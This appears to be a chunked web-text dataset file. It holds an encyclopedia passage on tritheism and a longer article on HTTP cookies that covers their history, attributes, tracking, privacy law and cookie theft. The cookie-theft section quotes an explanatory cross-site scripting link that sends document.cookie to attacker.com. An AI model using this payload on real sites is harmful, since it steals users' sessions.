trinity ( london, 1690 ) against the socinians, maintaining that with the exception of a mutual consciousness of each other, which no created spirits can have, the three divine persons are \" three distinct infinite minds \" or \" three intelligent beings. \", was attacked by robert south in animadversions on dr. sherlock ' s vindication ( 1693 ). sherlock ' s work is said to have made william manning a socinian and thomas emlyn an arian, and the dispute was ridiculed in a skit entitled \" the battle royal \", attributed to william pittis ( 1694? ), which was translated into latin at cambridge. - joseph bingham, author of the \" antiquities \", preached at oxford in 1695 a sermon which was considered to represent the fathers as tritheists, and it was condemned by the hebdomadal council as falsa, impia et haeretica, the scholar being driven from oxford. - some critics [ who? ] of mormonism claim mormonism is tritheistic or polytheistic, by the standard of the trinitarianism of the ecumenical and catholic tradition, because it teaches that the godhead is a council of three distinct deities perfectly one in purpose, unity and mission, but nevertheless separate and distinct individuals. this belief of god the father, god the son and god the holy ghost being physically distinct", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48283686390884, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.800433"} {"text": "tradition, because it teaches that the godhead is a council of three distinct deities perfectly one in purpose, unity and mission, but nevertheless separate and distinct individuals. this belief of god the father, god the son and god the holy ghost being physically distinct beings is in contrast to most denominations of christianity which derive their beliefs of the relationship of the father, the son and the holy ghost from creeds, such as the nicean creed, and early catholic tradition. early creeds and traditions of the catholic church teach that god the father, jesus christ and the holy ghost as three \" manifestations \" of the same being. mormons, more appropriately referred to as members of the church of jesus christ of latter - day saints, draw their understanding of the godhead primarily from the first vision of joseph smith, jr., who claimed to have actually seen god the father and jesus christ and recounted seeing \" two personages, \" one of which referred to the other as his \" beloved son. \" mormons also cite biblical script to support their position that god the father, jesus christ and the holy ghost are actually three distinct beings. see,,,,,. - some have suggested that the seventh - day adventist church has embraced a trithiestic view of the father, son, and holy spirit as it does not see their singularity as a godhead consisting in one being but rather as three separate beings in a single group. - chapman, john ( 1912 ). \" tritheists \". the catholic encyclopedia. new york : robert appleton company ( public domain ). retrieved october 17, 2012.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48906390483010603, "token_count": 323, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.801205"} {"text": "a cookie, also known as an http cookie, web cookie, or browser cookie, is a small piece of data sent from a website and stored in a user ' s web browser while a user is browsing a website. when the user browses the same website in the future, the data stored in the cookie can be retrieved by the website to notify the website of the user ' s previous activity. cookies were designed to be a reliable mechanism for websites to remember the state of the website or activity the user had taken in the past. this can include clicking particular buttons, logging in, or a record of which pages were visited by the user even months or years ago. although cookies cannot carry viruses, and cannot install malware on the host computer, tracking cookies and especially third - party tracking cookies are commonly used as ways to compile long - term records of individuals ' browsing histories \u2014 a major privacy concern that prompted european and us law makers to take action in 2011. cookies can also store passwords and forms a user has previously entered, such as a credit card number or an address. when a user accesses a web site with a cookie function for the first time, a cookie is sent from server to the browser and stored with the browser in the local computer. later when that user goes back to the same website, the website will recognize the user because of the stored cookie with the user ' s information. other kinds of cookies perform essential functions in the modern web. perhaps most importantly, authentication cookies are the most common method used by web servers to know whether the user is logged in or not, and which account they are logged in under. without such a mechanism, the site would not know whether to send a page containing sensitive information, or require the user to authenticate himself by logging in. the security of an authentication cookie generally depends on the security of the issuing website and the user ' s web browser, and on whether the cookie data is encrypted. security vulnerabilities may allow a cookie ' s data to be read by a hacker, used to gain access to user data, or used to gain access ( with the user ' s credentials ) to the website to which the cookie belongs ( see cross - site scripting and cross - site request forgery for examples ). the term \" cookie \" was derived from \" magic cookie \", which is the packet of data a program receives and sends again unchanged. magic cookies were already used in computing when computer programmer lou montulli had the idea of using them", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.582002769860184, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.843321"} {"text": "examples ). the term \" cookie \" was derived from \" magic cookie \", which is the packet of data a program receives and sends again unchanged. magic cookies were already used in computing when computer programmer lou montulli had the idea of using them in web communications in june 1994. at the time, he was an employee of netscape communications, which was developing the e - commerce application \" mci mall \" for mci. vint cerf and john klensin represented mci in technical discussions with netscape communications. not wanting the mci mall servers to have to retain partial transaction states led to mci ' s request to netscape to find a way to store that state in each user ' s computer. cookies provided a solution to the problem of reliably implementing a virtual shopping cart. the introduction of cookies was not widely known to the public at the time. in particular, cookies were accepted by default, and users were not notified of the presence of cookies. the general public learned about them after the financial times published an article about them on february 12, 1996. in the same year, cookies received a lot of media attention, especially because of potential privacy implications. cookies were discussed in two u. s. federal trade commission hearings in 1996 and 1997. the development of the formal cookie specifications was already ongoing. in particular, the first discussions about a formal specification started in april 1995 on the www - talk mailing list. a special working group within the ietf was formed. two alternative proposals for introducing state in http transactions had been proposed by brian behlendorf and david kristol respectively, but the group, headed by kristol himself and aron afatsuom, soon decided to use the netscape specification as a starting point. in february 1996, the working group identified third - party cookies as a considerable privacy threat. the specification produced by the group was eventually published as rfc 2109 in february 1997. it specifies that third - party cookies were either not allowed at all, or at least not enabled by default. at this time, advertising companies were already using third - party cookies. the recommendation about third - party cookies of rfc 2109 was not followed by netscape and internet explorer. rfc 2109 was superseded by rfc 2965 in october 2000. a definitive specification for cookies as used in the real world was published as rfc 6265 in april 2011. | | this section needs additional citations for verification. ( august 2011 ) | a user ' s session cookie ( also known as an in -", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5748708532574488, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.844584"} {"text": ". a definitive specification for cookies as used in the real world was published as rfc 6265 in april 2011. | | this section needs additional citations for verification. ( august 2011 ) | a user ' s session cookie ( also known as an in - memory cookie or transient cookie ) for a website exists in temporary memory only while the user is reading and navigating the website. when an expiry date or validity interval is not set at cookie creation time, a session cookie is created. web browsers normally delete session cookies when the user closes the browser. a persistent cookie will outlast user sessions. if a persistent cookie has its max - age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to the server every time the user visited the server. this could be used to record a vital piece of information such as how the user initially came to this website. for this reason persistent cookies are also called tracking cookies. a secure cookie has the secure attribute enabled and is only used via https, ensuring that the cookie is always encrypted when transmitting from client to server. this makes the cookie less likely to be exposed to cookie theft via eavesdropping. first - party cookies are cookies set with the same domain ( or its subdomain ) as your browser ' s address bar. third - party cookies are cookies set with domains different from the one shown on the address bar. the web pages on the first domain may feature content from a third - party domain, e. g. a banner advert run by www. advexample. com. privacy setting options in most modern browsers allow you to block third - party tracking cookies. as an example, suppose a user visits www. example1. com, which includes an advert which sets a cookie with the domain ad. foxytracking. com. when the user later visits www. example2. com, another advert can set another cookie with the domain ad. foxytracking. com. eventually, both of these cookies will be sent to the advertiser when loading their ads or visiting their website. the advertiser can then use these cookies to build up a browsing history of the user across all the websites this advertiser has footprints on. a \" supercookie \" is a cookie with an origin of a top - level domain ( tld ) or an effective top - level domain. some domains that are considered, \" top - level \" may", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5057867824077074, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.847224"} {"text": "advertiser has footprints on. a \" supercookie \" is a cookie with an origin of a top - level domain ( tld ) or an effective top - level domain. some domains that are considered, \" top - level \" may in fact be a secondary or lower - level domain. for example, k12. ca. us are considered top - level even though they are multiple levels deep. these domains are referred to as public suffixes and are not open for reservation by end - users. most browsers, by default, allow first - party cookies \u2014 a cookie with domain to be the same or sub - domain of the requesting host. for example, a user visiting www. example. com can have a cookie set with domain. example. com. a so - called \" supercookie \" is a cookie originating from a public suffix or top - level domain such as,. com. it is important that these cookies are blocked by browsers otherwise, an attacker in control of malicious website with domain. com could set a \" supercookie \" and potentially disrupt or impersonate legitimate user requests to example. com. thus taking advantage of the fact that. com can set valid cookies for sub - domain the public suffix list is a cross - vendor initiative to provide an accurate list of domain name suffixes changing. older versions of browsers may not have the most up - to - date list, and will therefore be vulnerable to supercookies from certain domains. the term \" supercookie \" is sometimes used for tracking technologies that do not rely on http cookies. two such \" supercookie \" mechanisms were found on microsoft websites : cookie syncing that respawned muid cookies, and etag cookies. due to media attention, microsoft later disabled this code : in response to recent attention on \" supercookies \" in the media, we wanted to share more detail on the immediate action we took to address this issue, as well as affirm our commitment to the privacy of our customers. according to researchers, including jonathan mayer at stanford university, \" supercookies \" are capable of re - creating users ' cookies or other identifiers after people deleted regular cookies. mr. mayer identified microsoft as one among others that had this code, and when he brought his findings to our attention we promptly investigated. we determined that the cookie behavior he observed was occurring under certain circumstances as a result of older code that was used only on our own sites, and was already scheduled to", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5407459757126065, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.848285"} {"text": "had this code, and when he brought his findings to our attention we promptly investigated. we determined that the cookie behavior he observed was occurring under certain circumstances as a result of older code that was used only on our own sites, and was already scheduled to be discontinued. we accelerated this process and quickly disabled this code. at no time did this functionality cause microsoft cookie identifiers or data associated with those identifiers to be shared outside of microsoft. \u2014 mike hintze some cookies are automatically recreated after a user has deleted them ; these are called zombie cookies. this is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to flash content, html5 storages and other client side mechanisms, and then recreating the cookie from backup stores when the cookie ' s absence is detected. 1. name of the cookie 2. value of the cookie 3. the expiry of the cookie ( using greenwich mean time ) 4. the path the cookie is good for 5. the domain the cookie is good for 6. the need for a secure connection to use the cookie only the first two parameters are required for the successful operation of the cookie. session management cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. cookies were introduced to provide a way to implement a \" shopping cart \" ( or \" shopping basket \" ), a virtual device into which users can store items they want to purchase as they navigate throughout the site. shopping basket applications today usually store the list of basket contents in a database on the server side, rather than storing basket items in the cookie itself. a web server typically sends a cookie containing a unique session identifier. the web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier. cookies provide a quick and convenient means of client / server interaction. one of the advantages of cookies lies in the fact that they store the user information locally while identifying users simply based on cookie matching. the server ' s storage and retrieval load is greatly reduced. as a matter of fact, the possibility of applications is endless - anytime personal data need to be saved they can be saved as a cookie ( kington, 1997 ). cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. for example a web server may send a cookie containing the username last used to log into a website so that it may", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49820447350290287, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.849325"} {"text": "cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. for example a web server may send a cookie containing the username last used to log into a website so that it may be filled in for future visits. tracking cookies may be used to track internet users ' web browsing. this can also be done in part by using the ip address of the computer requesting the page or the referrer field of the http request header, but cookies allow for greater precision. this can be demonstrated as follows : - if the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user ; the server creates a random string and sends it as a cookie back to the browser together with the requested page ; - from this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested ; the server sends the page as usual, but also stores the url of the requested page, the date / time of the request, and the cookie in a log file. by analyzing the log file collected in the process, it is then possible to find out which pages the user has visited, in what sequence, and for how long. cookie specifications suggest that browsers should be able to save and send back a minimal number of cookies. in particular, a web browser is expected to be able to store at least 300 cookies of four kilobytes each, and at least 20 cookies per server or domain. transfer of web pages follows the hypertext transfer protocol ( http ). regardless of cookies, browsers request a page from web servers by sending them a usually short text called http request. for example, to access the page http : / / www. example. org / index. html, browsers connect to the server www. example. org sending it a request that looks like the following one : the server replies by sending the requested page preceded by a similar packet of text, called ' http response '. this packet may contain lines requesting the browser to store cookies : the server sends lines of set - cookie only if the server wishes the browser to store cookies. set - cookie is a directive for the browser to store the cookie and send it back in future requests to the server ( subject to expiration time or other cookie attributes ), if the browser supports cookies and cookies are enabled. for example, the browser requests the page http : / /", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4839312975068363, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.850340"} {"text": "the browser to store the cookie and send it back in future requests to the server ( subject to expiration time or other cookie attributes ), if the browser supports cookies and cookies are enabled. for example, the browser requests the page http : / / www. example. org / spec. html by sending the server www. example. org a request like the following : this is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. this way, the server knows that this request is related to the previous one. the server answers by sending the requested page, possibly adding other cookies as well. the value of a cookie can be modified by the server by sending a new set - cookie : name = newvalue line in response of a page request. the browser then replaces the old value with the new one. the value of a cookie may consist of any printable ascii character ( ; and excluding whitespace. the name of the cookie also excludes = as that is the delimiter between the name and value. the cookie standard rfc2965 is more limiting but not implemented by browsers. the term \" cookie crumb \" is sometimes used to refer to the name - value pair. this is not the same as breadcrumb web navigation, which is the technique of showing in each page the list of pages the user has previously visited ; this technique, however, may be implemented using cookies. document. cookie is used for this purpose. for example, the instruction document. cookie = \" temperature = 20 \" creates a cookie of name temperature and value cookie attributes besides the name \u2013 value pair, servers can also set these cookie attributes : a cookie domain, a path, expiration time or maximum age, secure flag and httponly flag. browsers will not send cookie attributes back to the server. they will only send the cookie \u2019 s name - value pair. cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie ( name - value pair ) to the servers. domain and path the cookie domain and path define the scope of the cookie \u2014 they tell the browser that cookies should only be sent back to the server for the given domain and path. if not specified, they default to the domain and path of the object that was requested. an example of set - cookie directives from a website after a user logged in : the first cookie lsid", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5377362034706974, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.851508"} {"text": "the server for the given domain and path. if not specified, they default to the domain and path of the object that was requested. an example of set - cookie directives from a website after a user logged in : the first cookie lsid has default domain docs. foo. com and path / accounts, which tells the browser to use the cookie only when requesting pages contained in docs. foo. com / accounts. the other 2 cookies ssid would be sent back by the browser while requesting any subdomain in. foo. com on any path, for example cookies can only be set on the top domain and its sub domains. setting cookies on www. bar. com will not work for security reasons. expires and max - age the expires directive tells the browser when to delete the cookie. derived from the format used in rfc 1123, the date is specified in the form of \u201c wdy, dd mon yyyy hh : mm : ss gmt \u201d, indicating the exact date / time this cookie will expire. as an alternative to setting cookie expiration as an absolute date / time, rfc 6265 allows the use of the max - age attribute to set the cookie \u2019 s expiration as an interval of seconds in the future, relative to the time the browser received the cookie. an example of set - cookie directives from a website after a user logged in : the first cookie lu is set to expire sometime in 15 - jan - 2013 ; it will be used by the client browser until that time. the second cookie made _ write _ conn does not have an expiration date, making it a session cookie. it will be deleted after the user closes their browser. the third cookie reg _ fb _ gate has its value changed to deleted, with an expiration time in the past. the browser will delete this cookie right away \u2013 note that cookie will only be deleted when the domain and path attributes in the set - cookie field match the values used when the cookie was created. secure and httponly the secure and httponly attributes do not have associated values. rather, the presence of the attribute names indicates that the secure and httponly behaviors are specified. browser settings most modern browsers support cookies and allow the user to disable them. the following are common options : - to enable or disable cookies completely, so that they are always accepted or always blocked. - some browsers incorporate a cookie manager for the user to see and selectively", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45610565568360273, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.852452"} {"text": "and allow the user to disable them. the following are common options : - to enable or disable cookies completely, so that they are always accepted or always blocked. - some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser. - by default, internet explorer allows only third - party cookies that are accompanied by a p3p \" cp \" ( compact policy ) field. advertising companies use third - party cookies to track a user across multiple sites. in particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. knowledge of the pages visited by a user allows the advertising company to target advertisements to the user ' s presumed preferences. the possibility of building a profile of users is considered by some a potential privacy threat, especially when tracking is done across multiple domains using third - party cookies. for this reason, some countries have legislation about cookies. the united states government has set strict rules on setting cookies in 2000 after it was disclosed that the white house drug policy office used cookies to track computer users viewing its online anti - drug advertising. in 2002, privacy activist daniel brandt found that the cia had been leaving persistent cookies on computers which had visited its website. when notified it was violating policy, cia stated that these cookies were not intentionally set and stopped setting them. on december 25, 2005, brandt discovered that the national security agency ( nsa ) had been leaving two persistent cookies on visitors ' computers due to a software upgrade. after being informed, the national security agency immediately disabled the cookies. eu cookie law in 2002, the european union launched the directive on privacy and electronic communications, a policy requiring end users \u2019 consent for the placement of cookies, and similar technologies for storing and accessing information on users \u2019 equipment. in particular, article 5 paragraph 3 mandates that storing data in a user \u2019 s computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storing operation. directive 95 / 46 / ec defines \u2018 the data subject \u2019 s consent \u2019 as : \u201c any freely given specific and informed indication of his wishes by which the data subject signifies his agreement to personal data relating to him being processed \u201d. consent must involve some form of communication where individuals knowingly indicate their acceptance. in 2009, the policy was amended by directive 2009 / 136 / ec, which included a change to article 5 paragraph 3. instead of having an option for users to opt out of cookie storage,", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49625833870028396, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.853495"} {"text": "form of communication where individuals knowingly indicate their acceptance. in 2009, the policy was amended by directive 2009 / 136 / ec, which included a change to article 5 paragraph 3. instead of having an option for users to opt out of cookie storage, the revised directive requires consent to be obtained for cookie storage. in june 2012, european data protection authorities adopted an opinion which clarifies that some cookie users might be exempt from the requirement to gain consent : - some cookies can be exempted from informed consent under certain conditions if they are not used for additional purposes. these cookies include cookies used to keep track of a user \u2019 s input when filling online forms or as a shopping cart. - first party analytics cookies are not likely to create a privacy risk if websites provide clear information about the cookies to users and privacy safeguards. the industry \u2019 s response has been largely negative. some viewed the directive as an infernal doomsday machine that will \" kill online sales \" and \" kill the internet \". robert bond of the law firm speechly bircham describes the effects as \" far - reaching and incredibly onerous \" for \" all uk companies. \" simon davis of privacy international argues that proper enforcement would \" destroy the entire industry. \" third - party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user ' s web experience. many advertising operators have an opt - out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising. cookie theft and session hijacking | | this section has multiple issues. please help improve it or discuss these issues on the talk page. listed here are various scenarios of cookie theft and user session hijacking ( even without stealing user cookies ) which work with websites which rely solely on http cookies for user identification. network eavesdropping traffic on a network can be intercepted and read by computers on the network other than the sender and receiver ( particularly over unencrypted open wi - fi ). this traffic includes cookies sent on ordinary unencrypted http sessions. where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including http cookies as well as the entire contents of the conversations, for the purpose of a man - in - the - middle attack. an attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim \u2019 s bank account. this issue can be resolved by", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5481066342401921, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.854691"} {"text": "the purpose of a man - in - the - middle attack. an attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim \u2019 s bank account. this issue can be resolved by securing the communication between the user ' s computer and the server by employing transport layer security ( https protocol ) to encrypt the connection. a server can specify the secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an ssl connection. publishing false sub - domain \u2013 dns cache poisoning via dns cache poisoning, an attacker might be able to cause a dns server to cache a fabricated dns entry, say f12345. www. example. com with the attacker \u2019 s server ip address. the attacker can then post an image url from his own server ( for example, http : / / f12345. www. example. com / img _ 4 _ cookie. jpg ). victims reading the attacker \u2019 s message would download this image from f12345. www. example. com is a sub - domain of www. example. com, victims \u2019 browsers would submit all example. com - related cookies to the attacker \u2019 s server ; the compromised cookies would also include httponly cookies. [ clarification needed ] this vulnerability is usually for internet service providers to fix, by securing their dns servers. but it can also be mitigated if www. example. com is using secure cookies. victims \u2019 browsers will not submit secure cookies if the attacker \u2019 s image is not using encrypted connections. if the attacker chose to use https for his img _ 4 _ cookie. jpg download, he would have the challenge of obtaining an ssl certificate for f12345. www. example. com from a certificate authority. without a proper ssl certificate, victims \u2019 browsers would display ( usually very visible ) warning messages about the invalid certificate, thus alerting victims as well as security officials from www. example. com ( the latter would require someone to inform the security officials ). as an example, an attacker may post a message on www. example. com with the following link : < a href = \" # \" onclick = \" window. location = ' http : / / attacker. com / stole. cgi? text = ' + escape ( document. cookie ) ; return false ; \" > click here", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5578860290102219, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.855675"} {"text": ": < a href = \" # \" onclick = \" window. location = ' http : / / attacker. com / stole. cgi? text = ' + escape ( document. cookie ) ; return false ; \" > click here! < / a > when another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document. cookie with the list of cookies of the user that are active for the page. as a result, this list of cookies is sent to the attacker. com server. if the attacker \u2019 s posting is on https : / / www. example. com / somewhere, secure cookies will also be sent to attacker. com in plain text. cross - site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. it is the responsibility of the website developers to filter out such malicious code. in the meantime, such attacks can be mitigated by using httponly cookies. these cookies will not be accessible by client side script, and therefore, the attacker will not be able to gather these cookies. cross - site scripting if an attacker was able to insert a piece of script to a page on www. example. com, and a victim \u2019 s browser was able to execute the script, the script could simply carry out the attack. this attack would use the victim \u2019 s browser to send http requests to servers directly ; therefore, the victim \u2019 s browser would submit all relevant cookies, including httponly cookies, as well as secure cookies if the script request is on https. for example, on myspace, samy posted a short message \u201c samy is my hero \u201d on his profile, with a hidden script to send samy a \u201c friend request \u201d and then post the same message on the victim \u2019 s profile. a user reading samy \u2019 s profile would send samy a \u201c friend request \u201d and post the same message on this person \u2019 s profile. then, the third person reading the second person \u2019 s profile would do the same. pretty soon, this samy worm became one of the fastest spreading worms of all time. this type of attack ( with automated scripts ) would not work if a website had captcha to challenge client requests. cross - site scripting \u2013 proxy request in older versions of browsers, there were security holes allowing attackers to script a proxy request by using xmlhttprequest. for example, a victim is", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4955659825007229, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.856661"} {"text": "a website had captcha to challenge client requests. cross - site scripting \u2013 proxy request in older versions of browsers, there were security holes allowing attackers to script a proxy request by using xmlhttprequest. for example, a victim is reading an attacker \u2019 s posting on www. example. com, and the attacker \u2019 s script is executed in the victim \u2019 s browser. the script generates a request to www. example. com with the proxy server attacker. com. since the request is for example. com cookies will be sent along with the request, but routed through the attacker \u2019 s proxy server, hence, the attacker can harvest the victim \u2019 s cookies. this attack would not work for secure cookie, since secure cookies go with https connections, and its protocol dictates end - to - end encryption, i. e., the information is encrypted on the user \u2019 s browser and decrypted on the destination server www. example. com, so the proxy servers would only see encrypted bits and bytes. cross - site request forgery for example, bob might be browsing a chat forum where another user, mallory, has posted a message. suppose that mallory has crafted an html image element that references an action on bob ' s bank ' s website ( rather than an image file ), e. g., if bob ' s bank keeps his authentication information in a cookie, and if the cookie hasn ' t expired, then the attempt by bob ' s browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without bob ' s approval. besides privacy concerns, cookies also have some technical drawbacks. in particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the representational state transfer ( rest ) software architectural style. inaccurate identification if more than one browser is used on a computer, each usually has a separate storage area for cookies. hence cookies do not identify a person, but a combination of a user account, a computer, and a web browser. thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies. likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser. inconsistent state on client and server inconsistent support by devices the problem with using mobile cookies is that most devices do not implement cookies ; for example, nokia only supports cookies on 60 % of its devices, while motorola only supports cookies on", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5281320431891166, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.857707"} {"text": "computer, and browser. inconsistent state on client and server inconsistent support by devices the problem with using mobile cookies is that most devices do not implement cookies ; for example, nokia only supports cookies on 60 % of its devices, while motorola only supports cookies on 45 % of its phones. in addition, some gateways and networks ( verizon, alltel, and metropcs ) strip cookies, while other networks simulate cookies on behalf of their mobile devices. there are also dramatic variations in the wireless markets around the world ; for example, in the united kingdom 94 % of the devices support wireless cookies, while in the united states only 47 % support them. the support for cookies is greater in the far east, where wireless devices are more commonly used to access the web. mobile cookies is a practice already in place in japan, so that whether watching a podcast, a video, tv, clicking on a loan calculator or a gps map \u2014 on almost all wireless devices \u2014 cookies can be set for tracking and capturing wireless behaviors. some of the operations that can be done using cookies can also be done using other mechanisms. ip address some users may be tracked based on the ip address of the computer requesting the page. the server knows the ip address of the computer running the browser or the proxy, if any is used, and could theoretically link a user ' s session to this ip address. ip addresses are, generally, not a reliable way to track a session or identify a user. many computers designed to be used by a single user, such as office pcs or home pcs, are behind a network address translator ( nat ). this means that several pcs will share a public ip address. furthermore, some systems, such as tor, are designed to retain internet anonymity, rendering tracking by ip address impractical, impossible, or a security risk. url ( query string ) a more precise technique is based on embedding information into urls. the query string part of the url is the one that is typically used for this purpose, but other parts can be used as well. the java servlet and php session mechanisms both use this method if cookies are not enabled. this method consists of the web server appending query strings to the links of a web page it holds when sending it to a browser. when the user follows a link, the browser returns the attached query string to the server. query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5329011980515936, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.858683"} {"text": "sending it to a browser. when the user follows a link, the browser returns the attached query string to the server. query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. however, there are some differences : since a query string is part of a url, if that url is later reused, the same attached piece of information is sent to the server. for example, if the preferences of a user are encoded in the query string of a url and the user sends this url to another user by e - mail, those preferences will be used for that other user as well. moreover, even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. for example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external search engine the second time, the relative query strings are typically different while the cookies would be the same. for more details, see query string. other drawbacks of query strings are related to security : storing data that identifies a session in a query string enables or simplifies session fixation attacks, referrer logging attacks and other security exploits. transferring session identifiers as http cookies is more secure. hidden form fields another form of session tracking is to use web forms with hidden fields. this technique is very similar to using url query strings to hold the information and has many of the same advantages and drawbacks ; and if the form is handled with the http get method, the fields actually become part of the url the browser will send upon form submission. but most forms are handled with http post, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the url, nor of a cookie. this approach presents two advantages from the point of view of the tracker : first, having the tracking information placed in the html source and post input rather than in the url means it will not be noticed by the average user ; second, the session information is not copied when the user copies the url ( to save the page on disk or send it via email, for example ). this method can be easily used with any framework that supports web forms. the downside is that every separate window or tab will initially have an empty window. name ; in times of tabbed browsing this means that individually opened tab", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4984182132399353, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.859633"} {"text": "for example ). this method can be easily used with any framework that supports web forms. the downside is that every separate window or tab will initially have an empty window. name ; in times of tabbed browsing this means that individually opened tabs ( initiation by user ) will not have a window name. furthermore window. name can be used for tracking visitors across different websites, making it of concern for internet privacy. in some respects this can be more secure than cookies due to not involving the server, so it is not vulnerable to network cookie sniffing attacks. however if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different websites opened in the same window or tab. http authentication the http protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. if the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. this information can be used to track the user. see also - dynamic html - local shared object \u2013 flash cookies - session beans - session ( computer science ) - session id - web server session management - web storage and dom storage - web visitor tracking - zombie cookie - \" http state management mechanism \u2013 overview \". ietf. april 2011. - penenberg, adam ; cookie monsters, slate, november 7, 2005. \" cookies are not software. they can ' t be programmed, can ' t carry viruses, and can ' t unleash malware to go wilding through your hard drive. \" - \" new net rules set to make cookies crumble \". bbc. 2011 - 03 - 08. - \" sen. rockefeller : get ready for a real do - not - track bill for online advertising \". adage. com. 2011 - 05 - 06. - peng, weihong ; cisna, jennifer ( 2000 ). \" http cookies - a promising technology \". proquest. online information review. retrieved 29 march 2013. - vamosi, robert ( 2008 - 04 - 14 ). \" gmail cookie stolen via google spreadsheets \". - schwartz, john ( 2001 - 09 - 04 ). \" giving web a memory cost its users privacy \". the new york times. - kesan, jey ; and shah, rajiv ; deconstructing code, ssrn. com, chapter", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5198664590539909, "token_count": 512, "source_dataset": 